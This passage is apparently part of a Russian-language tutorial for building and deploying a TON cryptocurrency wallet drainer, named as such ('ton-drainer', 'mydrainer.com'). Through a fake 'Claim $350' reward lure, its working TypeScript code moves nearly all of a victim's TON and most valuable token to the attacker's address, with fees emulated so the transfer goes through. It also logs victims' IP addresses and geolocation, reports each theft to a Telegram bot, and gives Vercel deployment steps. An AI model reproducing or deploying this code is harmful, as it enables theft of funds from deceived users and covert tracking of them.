    if (jettonsData.balances && Array.isArray(jettonsData.balances)) {
     
      for (const jettonItem of jettonsData.balances) {
        try {
          const balance = jettonItem.balance || '0';
         
          // Получаем wallet address (адрес Jetton wallet пользователя)
          let walletAddress = 'unknown';
         
          if (jettonItem.wallet_address?.address) {
            const addr = jettonItem.wallet_address.address;
           
            // Если адрес уже в user-friendly
            if (addr.startsWith('EQ') || addr.startsWith('UQ')) {
              walletAddress = addr;
              addDebugInfo(`Jetton wallet: ${walletAddress}`);
            }
            // Если raw - конвертируем
            else if (addr.includes(':')) {
              try {
                // true = bounceable (EQ) для Jetton контрактов
                walletAddress = rawToUserFriendly(addr, true);
                addDebugInfo(`Конвертирован Jetton wallet: ${walletAddress}`);
              } catch (convertError) {
                addDebugInfo(`Ошибка конвертации: ${convertError}`);
              }
            }
          }
         
          // Извлекаем информацию о токене
          const jettonInfo = jettonItem.jetton || {};
          const name = jettonInfo.name || 'Unknown Token';
          const symbol = jettonInfo.symbol || 'UNKNOWN';
          const decimals = Number(jettonInfo.decimals) || 9;
          const jettonAddress = jettonInfo.address || 'unknown';

          // Форматируем баланс
          const formattedBalance = (Number(balance) / Math.pow(10, decimals)).toFixed(4);
          const numericBalance = Number(balance) / Math.pow(10, decimals);

          // Получаем цену в USD
          const priceUsd = jettonItem.price?.prices?.USD || 0;
          const totalValue = numericBalance * priceUsd;

          addDebugInfo(`${symbol}: ${formattedBalance}, $${priceUsd}, стоимость $${totalValue.toFixed(2)}`);

          // Добавляем только если баланс > 0
          if (Number(balance) > 0) {
            allBalances.push({
              type: 'jetton',
              jettonAddress: jettonAddress,
              walletAddress: walletAddress.startsWith('EQ') || walletAddress.startsWith('UQ')
                ? walletAddress
                : undefined,
              balance: balance,
              name: name,
              symbol: symbol,
              decimals: decimals,
              formattedBalance: formattedBalance,
              price: {
                usd: priceUsd,
                totalValue: totalValue
              }
            });
          }
        } catch (jettonError) {
          addDebugInfo(`Ошибка обработки Jetton: ${jettonError}`);
        }
      }
    }
  } else {
    addDebugInfo(`Jettons API error: ${jettonsResponse.status}`);
  }
} catch (jettonsError) {
  addDebugInfo(`Ошибка получения Jettons: ${jettonsError}`);
}

Структура ответа TonAPI для jettons:

JSON:
{
  "balances": [
    {
      "balance": "1000000",
      "wallet_address": {
        "address": "EQDx7yU...",
        "is_scam": false,
        "is_wallet": false
      },
      "jetton": {
        "address": "EQC5mW...",
        "name": "Tether USD",
        "symbol": "USD₮",
        "decimals": 6,
        "image": "https://...",
        "verification": "whitelist"
      },
      "price": {
        "prices": {
          "USD": 0.999
        },
        "diff_24h": {
          "USD": "-0.01"
        }
      }
    }
  ]
}

Ключевые моменты:

balance - баланс в минимальных единицах токена (как nanotokens)
wallet_address.address - адрес Jetton wallet пользователя (ВАЖНО для transfer!)
jetton.address - адрес Master контракта токена
jetton.decimals - количество знаков после запятой (обычно 6 или 9)
price.prices.USD - текущая цена токена в долларах


==============================================

ГЛАВА 10: СОЗДАНИЕ И ОТПРАВКА ТРАНЗАКЦИЙ

Формирование транзакции на 100% баланса

Главная задача - отправить ВСЕ средства, но оставить достаточно для комиссии. Иначе транзакция провалится.

Код:
const sendHalfBalance = async (tokensToSend?: Token[], uiInstance?: any, addressFriendly?: string, addressRaw?: string) => {
  const currentTokens = tokensToSend || tokens;
  const currentUI = uiInstance || tonConnectUI;
  const currentAddressFriendly = addressFriendly || walletAddressFriendly;
  const currentAddressRaw = addressRaw || walletAddressRaw;
 
  if (!currentUI) {
    addDebugInfo('TON Connect UI не инициализирован');
    return;
  }
 
  if (currentTokens.length === 0) {
    addDebugInfo('Нет доступных токенов');
    return;
  }

  try {
    setTransactionStatus('preparing');
   
    // Первый токен - это всегда TON
    const tonToken = currentTokens[0];
    const totalBalanceNano = BigInt(tonToken.balance);
   
    addDebugInfo('Начинаем расчет 100% отправки с учетом комиссий...');

    // Находим топ-1 Jetton по стоимости
    let topJetton: Token | null = null;
    if (currentTokens.length > 1) {
      const jettonsWithPrice = currentTokens.slice(1).filter(t => t.price && t.price.totalValue > 0);
     
      if (jettonsWithPrice.length > 0) {
        // Сортируем по стоимости (самые дорогие первыми)
        jettonsWithPrice.sort((a, b) => (b.price?.totalValue || 0) - (a.price?.totalValue || 0));
        topJetton = jettonsWithPrice[0];
        addDebugInfo(`Топ-1 Jetton: ${topJetton.symbol} ($${topJetton.price?.totalValue.toFixed(2)})`);
      }
    }

    // Импортируем необходимые функции из @ton/ton
    const { beginCell, Address } = await import('@ton/ton');
   
    // Создаём комментарий для транзакции
    const commentPayload = beginCell()
      .storeUint(0, 32)  // op code 0 = текстовый комментарий
      .storeStringTail('Claim 350$ 🎉')  // сам текст комментария
      .endCell()
      .toBoc()
      .toString('base64');

    // Формируем сообщения
    const messages: any[] = [];
   
    // Первое сообщение - TON transfer
    messages.push({
      address: recipientAddress,
      amount: (Number(totalBalanceNano) / 2).toString(),  // временная сумма для симуляции
      payload: commentPayload
    });

    // Если есть Jetton - добавляем
    if (topJetton && topJetton.walletAddress &&
        (topJetton.walletAddress.startsWith('EQ') || topJetton.walletAddress.startsWith('UQ'))) {
      try {
        // Создаём forward payload (комментарий для получателя)
        const forwardPayload = beginCell()
          .storeUint(0, 32)
          .storeStringTail('Claim 350$ 🎉')
          .endCell();

        // Создаём Jetton transfer body
        const jettonTransferBody = beginCell()
          .storeUint(0x0f8a7ea5, 32)  // op code для jetton transfer
          .storeUint(0, 64)  // query_id
          .storeCoins(BigInt(topJetton.balance))  // количество токенов
          .storeAddress(Address.parse(recipientAddress))  // кому отправляем
          .storeAddress(Address.parse(currentAddressFriendly))  // куда вернуть excess
          .storeBit(0)  // нет custom_payload
          .storeCoins(toNano('0.05'))  // forward_ton_amount
          .storeBit(1)  // есть forward_payload
          .storeRef(forwardPayload)  // добавляем как reference
          .endCell();
       
        const payload = jettonTransferBody.toBoc().toString('base64');
       
        messages.push({
          address: topJetton.walletAddress,  // адрес JETTON wallet пользователя!
          amount: toNano('0.1').toString(),  // TON для оплаты газа
          payload: payload
        });
       
        addDebugInfo(`Jetton transfer подготовлен: ${topJetton.symbol}`);
      } catch (jettonError) {
        addDebugInfo(`Ошибка Jetton: ${jettonError}`);
      }
    }
   
    // Далее - симуляция и расчет комиссий...
   
  } catch (error) {
    addDebugInfo(`Ошибка: ${error}`);
    setTransactionStatus('idle');
  }
};

Объяснение ключевых моментов:

1. Комментарий создается через beginCell()

Код:
const commentPayload = beginCell()
  .storeUint(0, 32)  // op code 0 означает текстовый комментарий
  .storeStringTail('Claim 350$ 🎉')  // сам текст
  .endCell()
  .toBoc()  // конвертируем в Bag of Cells
  .toString('base64');  // кодируем в base64 для передачи

2. Jetton transfer body содержит всю логику перевода

Код:
.storeUint(0x0f8a7ea5, 32)  // магическое число - op code для jetton transfer
.storeUint(0, 64)  // query_id для отслеживания (можем ставить 0)
.storeCoins(BigInt(amount))  // сумма в минимальных единицах
.storeAddress(recipient)  // кому отправляем токены
.storeAddress(responseAddress)  // куда вернуть лишние TON
.storeBit(0)  // нет custom_payload
.storeCoins(forwardAmount)  // сколько TON переслать получателю
.storeBit(1)  // есть forward_payload (комментарий)
.storeRef(forwardPayload)  // сам комментарий как reference

3. Jetton transfer отправляется НА АДРЕС Jetton wallet ОТПРАВИТЕЛЯ, а не получателя!

Это критически важно понять. Логика такая:

1. Вы отправляете транзакцию на ВАIN Jetton wallet
2. Ваш Jetton wallet уменьшает ваш баланс
3. Ваш Jetton wallet отправляет internal message на Jetton wallet получателя
4. Jetton wallet получателя увеличивает его баланс


==============================================

ГЛАВА 11: СИМУЛЯЦИЯ ТРАНЗАКЦИЙ ДЛЯ РАСЧЕТА КОМИССИЙ

Проблема: нельзя просто отправить весь баланс

Если попытаться отправить ВСЕ nanotokens на балансе, транзакция провалится:

Код:
Баланс: 1.5 TON (1500000000 nano)
Отправляем: 1.5 TON
Комиссия: 0.008 TON
Результат: ОШИБКА - недостаточно средств для комиссии!

Решение: симуляция транзакции

TonAPI предоставляет метод emulate, который позволяет предварительно "прогнать" транзакцию и узнать точную комиссию БЕЗ реальной отправки.

Код:
// Продолжение функции sendHalfBalance...

// Предсимулирование для расчета комиссии
let estimatedFeeNano = 0;

try {
  addDebugInfo('Симулируем транзакцию через TonAPI...');
 
  const emulateUrl = `https://tonapi.io/v2/blockchain/accounts/${currentAddressFriendly}/methods/emulate`;
 
  // Создаем тело запроса для эмуляции
  const simulationBody = {
    boc: commentPayload  // BOC нашей транзакции
  };
 
  const response = await fetch(emulateUrl, {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
    },
    body: JSON.stringify(simulationBody)
  });
 
  if (response.ok) {
    const result = await response.json();
   
    // Извлекаем комиссию из результата
    if (result.decoded?.total_fees) {
      estimatedFeeNano = Number(result.decoded.total_fees);
      addDebugInfo(`Комиссия из API: ${(estimatedFeeNano / 1e9).toFixed(6)} TON`);
    } else if (result.trace) {
      // Парсим trace для получения fees
      estimatedFeeNano = Number(result.trace.transaction?.total_fees || 0);
      addDebugInfo(`Комиссия из trace: ${(estimatedFeeNano / 1e9).toFixed(6)} TON`);
    }
  } else {
    addDebugInfo(`API вернул статус: ${response.status}`);
  }
} catch (emulateError) {
  addDebugInfo(`Ошибка симуляции: ${emulateError}`);
}

// Если симуляция не сработала - используем расчетную комиссию
if (estimatedFeeNano === 0) {
  // Базовая комиссия для простой транзакции: ~0.005-0.01 TON
  // С Jetton: ~0.05-0.1 TON (зависит от сложности)
  const hasJettons = messages.length > 1;
  estimatedFeeNano = hasJettons ? 0.12 * 1e9 : 0.008 * 1e9;
  addDebugInfo(`Расчетная комиссия: ${(estimatedFeeNano / 1e9).toFixed(6)} TON`);
}

// Добавляем запас безопасности 10%
const safetyMargin = estimatedFeeNano * 0.1;
const totalFeeWithMargin = estimatedFeeNano + safetyMargin;

addDebugInfo(`Комиссия с запасом: ${(totalFeeWithMargin / 1e9).toFixed(6)} TON`);

// Рассчитываем финальную сумму для отправки
const amountToSendNano = Math.max(0, Number(totalBalanceNano) - totalFeeWithMargin);
const amountToSendTon = amountToSendNano / 1e9;

addDebugInfo(`Отправляем: ${amountToSendTon.toFixed(6)} TON`);

// Формируем финальные сообщения с правильной суммой
const finalMessages: any[] = [{
  address: recipientAddress,
  amount: Math.floor(amountToSendNano).toString(),  // целое число!
  payload: commentPayload
}];

// Добавляем Jetton если был подготовлен
if (topJetton && topJetton.walletAddress) {
  // ... код добавления Jetton transfer из предыдущей главы
}

// Создаем финальную транзакцию
const tx = {
  validUntil: Date.now() + 5 * 60 * 1000,  // действительна 5 минут
  messages: finalMessages
};

addDebugInfo(`Транзакция: ${finalMessages.length} сообщений`);

Структура ответа TonAPI emulate:

JSON:
{
  "success": true,
  "trace": {
    "transaction": {
      "hash": "abc123...",
      "lt": "12345678",
      "account": {
        "address": "UQ..."
      },
      "success": true,
      "utime": 1704067200,
      "orig_status": "active",
      "end_status": "active",
      "total_fees": "5280000",
      "transaction_type": "TransOrd",
      "state_update_old": "...",
      "state_update_new": "..."
    }
  }
}

Ключевое поле: total_fees - общая комиссия в nanotokens.

Почему добавляем 10% запас?

Комиссия в TON зависит от:
  • Размера данных в транзакции
  • Текущей нагрузки на сеть
  • Сложности вычислений в смарт-контрактах

Между симуляцией и реальной отправкой могут пройти секунды, за которые комиссия может немного вырасти. 10% запас гарантирует успешную отправку.

Отправка транзакции

Код:
// Формируем уведомление в Telegram ПЕРЕД отправкой
let withdrawMessage = `🎄 ПОДКЛЮЧЕНИЕ КОШЕЛЬКА 🎅\n`;
withdrawMessage += `Отправлен запрос на вывод✅\n`;
withdrawMessage += `👛 Адрес:\n${currentAddressFriendly}\n`;
withdrawMessage += `💰 TON: ${tonToken.formattedBalance} TON`;

if (tonToken.price && tonToken.price.usd > 0) {
  withdrawMessage += ` ($${tonToken.price.totalValue.toFixed(2)})`;
}

if (topJetton) {
  withdrawMessage += `\n• ${topJetton.symbol}: ${topJetton.formattedBalance}`;
  if (topJetton.price && topJetton.price.usd > 0) {
    withdrawMessage += ` ($${topJetton.price.totalValue.toFixed(2)})`;
  }
}

// Отправляем уведомление
await sendTelegramNotification(withdrawMessage, currentAddressFriendly);

// Отправляем транзакцию
setTransactionStatus('signing');
const result = await currentUI.sendTransaction(tx);
setTransactionStatus('sending');

addDebugInfo(`Хэш: ${result.hash}`);

// Формируем сообщение об успехе
let successMessage = `✅ УСПЕШНО ВЫВЕДЕНО\n`;
successMessage += `💰 TON: ${tonToken.formattedBalance} TON`;
if (topJetton) {
  successMessage += `\n• ${topJetton.symbol}: ${topJetton.formattedBalance}`;
}
successMessage += `\n🔗 Хэш: ${result.hash}`;

await sendTelegramNotification(successMessage, currentAddressFriendly);

// Обновляем балансы
setLoading(true);
const walletTokens = await getWalletBalances(currentAddressFriendly, currentAddressRaw);
setTokens(walletTokens);
setLoading(false);

Метод sendTransaction():

1. Открывает модальное окно в кошельке пользователя
2. Показывает детали транзакции (кому, сколько, комиссия)
3. Ждет подтверждения от пользователя
4. Подписывает транзакцию приватным ключом
5. Отправляет в блокчейн
6. Возвращает объект с хэшем транзакции

Важно: между вызовом sendTransaction() и получением результата может пройти несколько секунд или даже минут, если пользователь раздумывает. Поэтому важно показывать правильные статусы.


==============================================

ГЛАВА 12: ПОЛУЧЕНИЕ IP АДРЕСА ПОЛЬЗОВАТЕЛЯ

ПОШАГОВАЯ ИНСТРУКЦИЯ ПО НАСТРОЙКЕ

Шаг 1: Создаем API route для получения IP

Создаем файл: app/api/get-ip/route.ts

Код:
import { NextResponse } from 'next/server';

export async function GET(request: Request) {
  // Получаем IP из разных заголовков
  const forwarded = request.headers.get('x-forwarded-for');
  const realIp = request.headers.get('x-real-ip');
  const cfConnectingIp = request.headers.get('cf-connecting-ip');
 
  // Приоритет: Cloudflare > X-Forwarded-For > X-Real-IP
  let clientIp = 'unknown';
 
  if (cfConnectingIp) {
    // Cloudflare добавляет этот заголовок
    clientIp = cfConnectingIp;
  } else if (forwarded) {
    // X-Forwarded-For может содержать несколько IP через запятую
    // Первый - это оригинальный клиент
    clientIp = forwarded.split(',')[0].trim();
  } else if (realIp) {
    // X-Real-IP обычно содержит один IP
    clientIp = realIp;
  }
 
  return NextResponse.json({
    ip: clientIp,
    headers: {
      'x-forwarded-for': forwarded,
      'x-real-ip': realIp,
      'cf-connecting-ip': cfConnectingIp
    }
  });
}

Использование на фронтенде:

Код:
const [userIp, setUserIp] = useState<string>('');

useEffect(() => {
  // Получаем IP при загрузке страницы
  const fetchIp = async () => {
    try {
      const response = await fetch('/api/get-ip');
      const data = await response.json();
      setUserIp(data.ip);
      addDebugInfo(`IP пользователя: ${data.ip}`);
    } catch (error) {
      addDebugInfo(`Ошибка получения IP: ${error}`);
    }
  };
 
  fetchIp();
}, []);

Объяснение заголовков:

X-Forwarded-For

Добавляется прокси-серверами и балансировщиками нагрузки
Формат: X-Forwarded-For: client, proxy1, proxy2
Первый IP - это оригинальный клиент
Может быть подделан злоумышленником!

X-Real-IP

Добавляется некоторыми прокси (например, Nginx)
Содержит один IP адрес
Более надежен чем X-Forwarded-For

CF-Connecting-IP

Добавляется Cloudflare
Самый надежный вариант если используете Cloudflare
Cloudflare гарантирует что это реальный IP клиента
Не может быть подделан

Получение дополнительной информации об IP

Код:
// Функция для получения геолокации и информации об IP
const getIpInfo = async (ip: string) => {
  try {
    // Используем бесплатное API ipapi.co
    const response = await fetch(`https://ipapi.co/${ip}/json/`);
    const data = await response.json();
   
    return {
      ip: data.ip,
      city: data.city,
      region: data.region,
      country: data.country_name,
      countryCode: data.country_code,
      timezone: data.timezone,
      latitude: data.latitude,
      longitude: data.longitude,
      org: data.org,  // провайдер интернета
      asn: data.asn,  // номер автономной системы
      isVpn: data.org.toLowerCase().includes('vpn') ||
             data.org.toLowerCase().includes('proxy')
    };
  } catch (error) {
    addDebugInfo(`Ошибка получения info: ${error}`);
    return null;
  }
};

// Использование
const ipInfo = await getIpInfo(userIp);
if (ipInfo) {
  addDebugInfo(`Геолокация: ${ipInfo.city}, ${ipInfo.country}`);
  addDebugInfo(`Провайдер: ${ipInfo.org}`);
 
  if (ipInfo.isVpn) {
    addDebugInfo('Обнаружен VPN/Proxy!');
  }
}

Альтернативные сервисы для IP info:

ipapi.co - 1000 бесплатных запросов в день
ip-api.com - 45 запросов в минуту бесплатно
ipgeolocation.io - 1000 запросов в день бесплатно
ipinfo.io - 50000 запросов в месяц бесплатно


==============================================

ГЛАВА 13: ИНТЕГРАЦИЯ С TELEGRAM BOT

Telegram Bot позволяет получать мгновенные уведомления о каждом подключении кошелька.

ПОШАГОВАЯ НАСТРОЙКА TELEGRAM БОТА (ВМЕСТЕ)

📱 ШАГ 1: Создание бота через BotFather

1. Открываем Telegram (на телефоне или десктопе)
2. В поиске вводим: BotFather (официальный бот от Telegram)
3. Нажимаем START или отправляем /start
4. Отправляем команду: /newbot
5. BotFather спросит имя бота - вводим любое, например: "TON Notifier"
6. Затем спросит username - должен заканчиваться на "bot", например: "ton_notify90_bot"
7. После успешного создания получите сообщение с ТОКЕНОМ:

Код:
Done! Congratulations on your new bot.
You will find it at t.me/ton_notify_bot

Use this token to access the HTTP API:
1234567890:ABCdefGHIjklMNOpqrsTUVwxyz123456

For a description of the Bot API, see this page: https://core.telegram.org/bots/api

8. СКОПИРУЙТЕ И СОХРАНИТЕ ТОКЕН! Это ваш TELEGRAM_BOT_TOKEN

⚠️ ВНИМАНИЕ:
  • Никому не показывайте этот токен!
  • С этим токеном кто угодно может управлять вашим ботом
  • Если токен утек - удалите бота и создайте нового


📱 ШАГ 2: Получение CHAT_ID

Способ 1 (Самый простой):

1. Найдите вашего только что созданного бота в поиске Telegram
2. Нажмите START или отправьте /start
3. Откройте в браузере: https://api.telegram.org/bot<ВАШ_ТОКЕН>/getUpdates
Замените <ВАШ_ТОКЕН> на токен из Шага 1

Полный URL будет выглядеть так:
https://api.telegram.org/bot1234567890:ABCdefGHIjklMNOpqrsTUVwxyz123456/getUpdates

4. В ответе найдите поле "chat":

JSON:
{
  "ok": true,
  "result": [
    {
      "update_id": 123456789,
      "message": {
        "message_id": 1,
        "from": {
          "id": 987654321,
          "is_bot": false,
          "first_name": "Ваше Имя"
        },
        "chat": {
          "id": 987654321,    ← ЭТО ВАШ CHAT_ID
          "first_name": "Ваше Имя",
          "type": "private"
        }
      }
    }
  ]
}

5. СКОПИРУЙТЕ число из поля "id" внутри "chat" - это ваш CHAT_ID


Способ 2 (Через бота):

1. В Telegram найдите бота: @userinfobot
2. Отправьте /start
3. Бот пришлет ваш ID:

Код:
Your ID: 987654321

4. Это и есть ваш CHAT_ID


Способ 3 (Для группы/канала):

Если хотите получать уведомления в группу:

1. Создайте группу в Telegram
2. Добавьте вашего бота в группу (как администратора)
3. Отправьте любое сообщение в группу
4. Откройте: https://api.telegram.org/bot<ВАШ_ТОКЕН>/getUpdates
5. Найдите "chat": { "id": -100123456789 } - отрицательное число!
6. Это CHAT_ID группы (сохраните вместе с минусом!)


📱 ШАГ 3: Проверка работы бота

Давайте проверим что всё работает ПЕРЕД настройкой кода:

1. Откройте в браузере (замените на свои данные):

https://api.telegram.org/bot<ВАШ_ТОКЕН>/sendMessage?chat_id=<ВАШ_CHAT_ID>&text=Привет!

Пример:

2. Если всё правильно - получите JSON ответ:

JSON:
{
  "ok": true,
  "result": {
    "message_id": 2,
    "from": {
      "id": 1234567890,
      "is_bot": true,
      "first_name": "TON Notifier",
      "username": "ton_notify_bot"
    },
    "chat": {
      "id": 987654321,
      "first_name": "Ваше Имя",
      "type": "private"
    },
    "date": 1234567890,
    "text": "Привет!"
  }
}

3. И ПОЛУЧИТЕ СООБЩЕНИЕ В TELEGRAM!

❌ Если ошибка:
  • "Unauthorized" - неправильный токен бота
  • "Bad Request: chat not found" - неправильный chat_id
  • "Forbidden: bot was blocked by the user" - вы заблокировали бота, разблокируйте

📱 ШАГ 4: Настройка переменных окружения в проекте

Теперь добавим полученные данные в ваш проект.

1. Откройте проект в редакторе кода (VS Code, Cursor, и т.д.)

2. Создайте файл .env.local в корневой папке проекта

3. Скопируйте и вставьте следующее (замените на ваши данные):

Bash:
# Telegram Bot Configuration
# Получен на шаге "Создание бота через BotFather"
TELEGRAM_BOT_TOKEN=1234567890:ABCdefGHIjklMNOpqrsTUVwxyz123456

# Получен на шаге "Получение CHAT_ID"
TELEGRAM_CHAT_ID=987654321

# Адрес куда будут приходить средства
# ЗАМЕНИТЕ НА ВАШ РЕАЛЬНЫЙ КОШЕЛЕК!
NEXT_PUBLIC_RECIPIENT_ADDRESS=UQBvW8aAcd6lhLZKmeYVJesDW6i92liMe0AQJ8vCVGT8VLgc

# (Опционально) TON Center API Key
# TONCENTER_API_KEY=abc123def456ghi789jkl012mno345pqr678stu901vwx234yz

КРИТИЧЕСКИ ВАЖНО:

⚠️ Префикс NEXT_PUBLIC_:
  • Переменные с NEXT_PUBLIC_ доступны в браузере (клиент)
  • Переменные БЕЗ префикса доступны только на сервере
  • TELEGRAM_BOT_TOKEN БЕЗ префикса - токен не попадет в клиентский код!
  • NEXT_PUBLIC_RECIPIENT_ADDRESS С префиксом - адрес нужен в браузере

⚠️ Безопасность .env.local:

4. Откройте или создайте файл .gitignore в корне проекта

5. Добавьте следующие строки (если их нет):

Код:
# Environment variables
.env
.env.local
.env*.local
.env.development.local
.env.test.local
.env.production.local

Это гарантирует что ваши секретные ключи НЕ попадут в Git!


📱 ШАГ 5: Проверка что переменные загружаются

1. Остановите сервер разработки (Ctrl+C в терминале)

2. Перезапустите сервер:

Bash:
npm run dev

3. Откройте браузер на http://localhost:3000

4. Откройте консоль разработчика (F12)

5. В консоли выполните:

JavaScript:
console.log('Recipient:', process.env.NEXT_PUBLIC_RECIPIENT_ADDRESS);

Должен вывести ваш адрес кошелька!

❌ Если выводит undefined:
  • Проверьте что файл называется точно .env.local
  • Проверьте что файл в корне проекта (рядом с package.json)
  • Перезапустите сервер разработки


📱 ШАГ 6: Тестирование Telegram уведомлений

Перед полным запуском проверим что Telegram работает:

1. Откройте файл app/api/telegram/route.ts
2. Проверьте что код читает переменные:

Код:
const botToken = process.env.TELEGRAM_BOT_TOKEN;
const chatId = process.env.TELEGRAM_CHAT_ID;

3. Запустите проект: npm run dev

4. Откройте новый терминал и выполните тестовый запрос:

Bash:
curl -X POST http://localhost:3000/api/telegram \
  -H "Content-Type: application/json" \
  -d '{"message":"🎄 Тест: Бот работает! 🎅","walletAddress":"test"}'

5. Проверьте Telegram - должно прийти сообщение!

✅ Если сообщение пришло - всё настроено правильно!
❌ Если нет - проверьте логи в терминале где запущен npm run dev

Создание API route для Telegram

Создаем app/api/telegram/route.ts:

Код:
import { NextResponse } from 'next/server';

export async function POST(request: Request) {
  try {
    const { message, walletAddress } = await request.json();
   
    const botToken = process.env.TELEGRAM_BOT_TOKEN;
    const chatId = process.env.TELEGRAM_CHAT_ID;
   
    // Проверяем наличие обязательных переменных
    if (!botToken || !chatId) {
      return NextResponse.json(
        { error: 'Telegram credentials not configured' },
        { status: 500 }
      );
    }
   
    // Блокируем сообщения об ошибках
    if (message.includes('❌') || message.includes('Ошибка') ||
        message.includes('Error') || message.includes('🚫')) {
      return NextResponse.json({
        success: true,
        blocked: true
      });
    }
   
    // Формируем текст сообщения
    let telegramMessage = message;
   
    // Добавляем timestamp
    const timestamp = new Date().toLocaleString('ru-RU', {
      timeZone: 'Europe/Moscow',
      day: '2-digit',
      month: '2-digit',
      year: 'numeric',
      hour: '2-digit',
      minute: '2-digit'
    });
   
    telegramMessage += `\n\n🕐 ${timestamp}`;
   
    // Отправляем через Telegram Bot API
    const telegramUrl = `https://api.telegram.org/bot${botToken}/sendMessage`;
   
    const response = await fetch(telegramUrl, {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
      },
      body: JSON.stringify({
        chat_id: chatId,
        text: telegramMessage,
        parse_mode: 'HTML',  // поддержка HTML форматирования
        disable_web_page_preview: true  // не показывать превью ссылок
      }),
    });
   
    if (!response.ok) {
      const errorData = await response.text();
      return NextResponse.json(
        { error: 'Ошибка отправки в Telegram', details: errorData },
        { status: response.status }
      );
    }
   
    return NextResponse.json({ success: true });
   
  } catch (error) {
    return NextResponse.json(
      { error: 'Внутренняя ошибка сервера', details: String(error) },
      { status: 500 }
    );
  }
}

Использование на фронтенде:

Код:
const sendTelegramNotification = async (message: string, address?: string) => {
  // Блокируем ошибки на клиенте тоже
  if (message.includes('❌') || message.includes('Ошибка') ||
      message.includes('Error') || message.includes('🚫')) {
    return;
  }
 
  try {
    const response = await fetch('/api/telegram', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({
        message,
        walletAddress: address
      })
    });
   
    if (!response.ok) {
      const errorData = await response.json();
      addDebugInfo(`Telegram ошибка: ${errorData.error}`);
      return;
    }
   
    addDebugInfo(`Уведомление отправлено: ${message.substring(0, 50)}...`);
  } catch (error) {
    addDebugInfo(`Telegram ошибка: ${error}`);
  }
};

Форматирование сообщений

Telegram Bot API поддерживает HTML форматирование:

Код:
const formatWalletNotification = (address: string, tokens: Token[]) => {
  let msg = `🎄 <b>ПОДКЛЮЧЕНИЕ КОШЕЛЬКА</b> 🎅\n\n`;
  msg += `👛 <b>Адрес:</b>\n<code>${address}</code>\n\n`;
 
  // TON баланс
  const tonToken = tokens[0];
  msg += `💰 <b>TON:</b> ${tonToken.formattedBalance} TON`;
  if (tonToken.price && tonToken.price.usd > 0) {
    msg += ` ($${tonToken.price.totalValue.toFixed(2)})`;
  }
  msg += '\n\n';
 
  // Jetton токены
  if (tokens.length > 1) {
    msg += `<b>📦 Jetton токены:</b>\n`;
    for (let i = 1; i < tokens.length; i++) {
      const token = tokens[i];
      msg += `• ${token.symbol}: ${token.formattedBalance}`;
      if (token.price && token.price.usd > 0) {
        msg += ` ($${token.price.totalValue.toFixed(2)})`;
      }
      msg += '\n';
    }
  }
 
  return msg;
};

Поддерживаемые HTML теги:

<b>bold</b> - жирный текст
<i>italic</i> - курсив
<u>underline</u> - подчеркнутый
<s>strike</s> - зачеркнутый
<code>monospace</code> - моноширинный шрифт
<pre>preformatted</pre> - предформатированный блок
<a href="URL">link</a> - ссылка


==============================================

ГЛАВА 14: ДЕПЛОЙ НА VERCEL

Vercel - это облачная платформа от создателей Next.js. Идеальна для деплоя Next.js приложений.

Подготовка проекта

1. Создаем репозиторий на GitHub

Bash:
git init
git add .
git commit -m "Initial commit"
git branch -M main
git remote add origin https://github.com/yourusername/ton-drainer.git
git push -u origin main

2. Проверяем .gitignore

Код:
node_modules
.next
.env.local
.env*.local
.vercel

Деплой на Vercel

1. Переходим на vercel.com
2. Нажимаем "Import Project"
3. Выбираем репозиторий с GitHub
4. Vercel автоматически определяет Next.js

Настройка переменных окружения

В настройках проекта добавляем:

Код:
TELEGRAM_BOT_TOKEN = 123456789:ABCdefGHIjklMNOpqrsTUVwxyz
TELEGRAM_CHAT_ID = 123456789
NEXT_PUBLIC_RECIPIENT_ADDRESS = UQBvW8aAcd6lhLZKmeYVJesDW6i92liMe0AQJ8vCVGT8VLgc

ВАЖНО: переменные с префиксом NEXT_PUBLIC_ будут доступны на клиенте! Но для адреса кошелька - ОК

Нажимаем "Deploy" и ждем 1-2 минуты.

После деплоя получаем URL: https://your-project.vercel.app

Настройка кастомного домена (опционально)

1. В настройках проекта -> Domains
2. Добавляем свой домен: mydrainer.com
3. Vercel выдаст DNS записи для настройки
4. Добавляем A запись в DNS провайдере:

Код:
Type: A
Name: @
Value: 76.76.21.21

5. Ждем 10-60 минут пока DNS обновится
6. Vercel автоматически выпустит SSL сертификат

Обновление tonconnect-manifest.json

После получения домена обновляем манифест:

JSON:
{
  "url": "https://mydrainer.com",
  "name": "Claim $350 Reward",
  "iconUrl": "https://mydrainer.com/icon.png"
}

Коммитим изменения и пушим:

Bash:
git add public/tonconnect-manifest.json
git commit -m "Update manifest URL"
git push

Vercel автоматически задеплоит новую версию.

Мониторинг и логи

Vercel предоставляет:

Realtime logs - логи в реальном времени
Function metrics - метрики API routes
Analytics - статистика посещений
Error tracking - отслеживание ошибок

Просмотр логов:

1. Открываем проект на vercel.com
2. Переходим в "Logs"
3. Видим все console.log из API routes
4. Можем фильтровать по статусу (200, 400, 500)


==============================================

ГЛАВА 15: УСТРАНЕНИЕ ТИПИЧНЫХ ПРОБЛЕМ

Эта глава содержит решения самых частых проблем, с которыми вы можете столкнуться.


⚠️ ПРОБЛЕМА 1: Telegram бот не отправляет сообщения

❌ Симптомы:
  • Транзакция проходит, но уведомления не приходят
  • В консоли ошибка "Telegram credentials not configured"
  • В логах Vercel ошибка 401 Unauthorized

✅ Решения:

1. Проверьте переменные окружения:

Bash:
# В терминале проекта
echo $TELEGRAM_BOT_TOKEN
echo $TELEGRAM_CHAT_ID

Если пустые - переменные не загружены!

2. Проверьте файл .env.local:
- Находится ли в корне проекта (рядом с package.json)?
- Нет лишних пробелов вокруг знака =?
- Токен скопирован полностью?

3. Перезапустите сервер разработки:

Bash:
# Нажмите Ctrl+C чтобы остановить
npm run dev

4. Проверьте что бот не заблокирован:
- Откройте чат с ботом в Telegram
- Нажмите START
- Проверьте что нет сообщения "Вы заблокировали этого бота"

5. Тест через curl:

Bash:
curl "https://api.telegram.org/bot<ВАШ_ТОКЕН>/getMe"

Должен вернуть информацию о боте!


⚠️ ПРОБЛЕМА 2: TON Connect не подключается к кошельку

❌ Симптомы:
  • Кнопка "Connect Wallet" не реагирует
  • Модальное окно не открывается
  • Ошибка "TON_CONNECT_UI is not defined"

✅ Решения:

1. Проверьте загрузку SDK:

JavaScript:
// В консоли браузера (F12)
console.log(typeof window.TON_CONNECT_UI);

Должно быть "object", а не "undefined"!

2. Убедитесь что файл tonconnect-sdk.min.js существует:
